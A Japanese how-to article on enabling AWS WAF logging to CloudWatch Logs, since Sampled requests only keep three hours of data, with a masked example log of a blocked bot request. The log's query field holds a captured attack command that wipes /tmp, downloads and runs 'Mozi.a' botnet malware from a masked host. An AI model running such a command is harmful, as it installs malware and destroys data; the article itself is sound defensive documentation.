この記事は公開されてから1年以上経過しています。情報が古い可能性がありますので、ご注意ください。
困っていた内容
AWS WAF サービスを利用しています。
Web ACLs の overview 画面で、Sampled requests を用いて、ブロックされた IP アドレスを確認しています。
過去のログを確認したいのですが、さかのぼることができません。どのようにすればいいですか?
どう対応すればいいの?
AWS WAF における、Web ACLs の overview 画面で表示できる Sampled requests はあくまでサンプルです。保持期間は最大過去 3 時間までとなります。過去のログを参照するためには、明示的にログへの保存を有効にする必要があります。
ログの有効化
今回は CloudWatch Logs へログを出力する方法を紹介します。
Logging and metrics タブを開き、Logging にて Enabled ボタンを押下します。
Logging destination にて、CloudWatch Logs log group を選択します。選択するロググループは「aws-waf-logs-」で始まるという命名規則があるため、別途作成をしておきます。
Filter logs にて、以下の画像のように設定します。これにより、結果が Block となったログのみ保存されます。
テストとして、AWS-AWSManagedRulesBotControlRuleSet に一致した場合に Block とするように Web ACLs のルールを設定してみました。
CloudWatch Logs に以下のログが生成され、bot からのアクセスが Block されていることを確認できました。(一部加工・マスクしています)
{
"timestamp": 1643933274579,
"formatVersion": 1,
"webaclId": "arn:aws:wafv2:ap-northeast-1:<AccountID>:regional/webacl/test-acl/■",
"terminatingRuleId": "AWS-AWSManagedRulesBotControlRuleSet",
"terminatingRuleType": "MANAGED_RULE_GROUP",
"action": "BLOCK",
"terminatingRuleMatchDetails": [],
"httpSourceName": "ALB",
"httpSourceId": "<AccountID>-app/Test/■",
"ruleGroupList": [
{
"ruleGroupId": "AWS#AWSManagedRulesBotControlRuleSet",
"terminatingRule": {
"ruleId": "SignalNonBrowserUserAgent",
"action": "BLOCK",
"ruleMatchDetails": null
},
"nonTerminatingMatchingRules": [],
"excludedRules": null
}
],
"rateBasedRuleList": [],
"nonTerminatingMatchingRules": [],
"requestHeadersInserted": null,
"responseCodeSent": null,
"httpRequest": {
"clientIp": "■",
"country": "■",
"headers": [
{
"name": "■",
"value": "■"
},
{
"name": "■",
"value": "■"
},
{
"name": "■",
"value": "■"
},
{
"name": "■",
"value": "■"
}
],
"uri": "/shell",
"args": "cd+/tmp;rm+-rf+*;wget+http://■:■/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws",
"httpVersion": "HTTP/1.1",
"httpMethod": "GET",
"requestId": "■"
},
"labels": [
{
"name": "awswaf:managed:aws:bot-control:signal:non_browser_user_agent"
}
]
}
参考資料
ウェブ ACL のテスト - AWS WAF、AWS Firewall Manager、および AWS Shield Advanced
5.リアルタイムメトリクスと Sampled Web Requests はどれほどの期間保存されますか? リアルタイムメトリクスは Amazon CloudWatch に保存されます。Amazon CloudWatch ではイベントを失効させる期間をお客様が設定できます。Sampled Web Requests は最大 3 時間保存されます。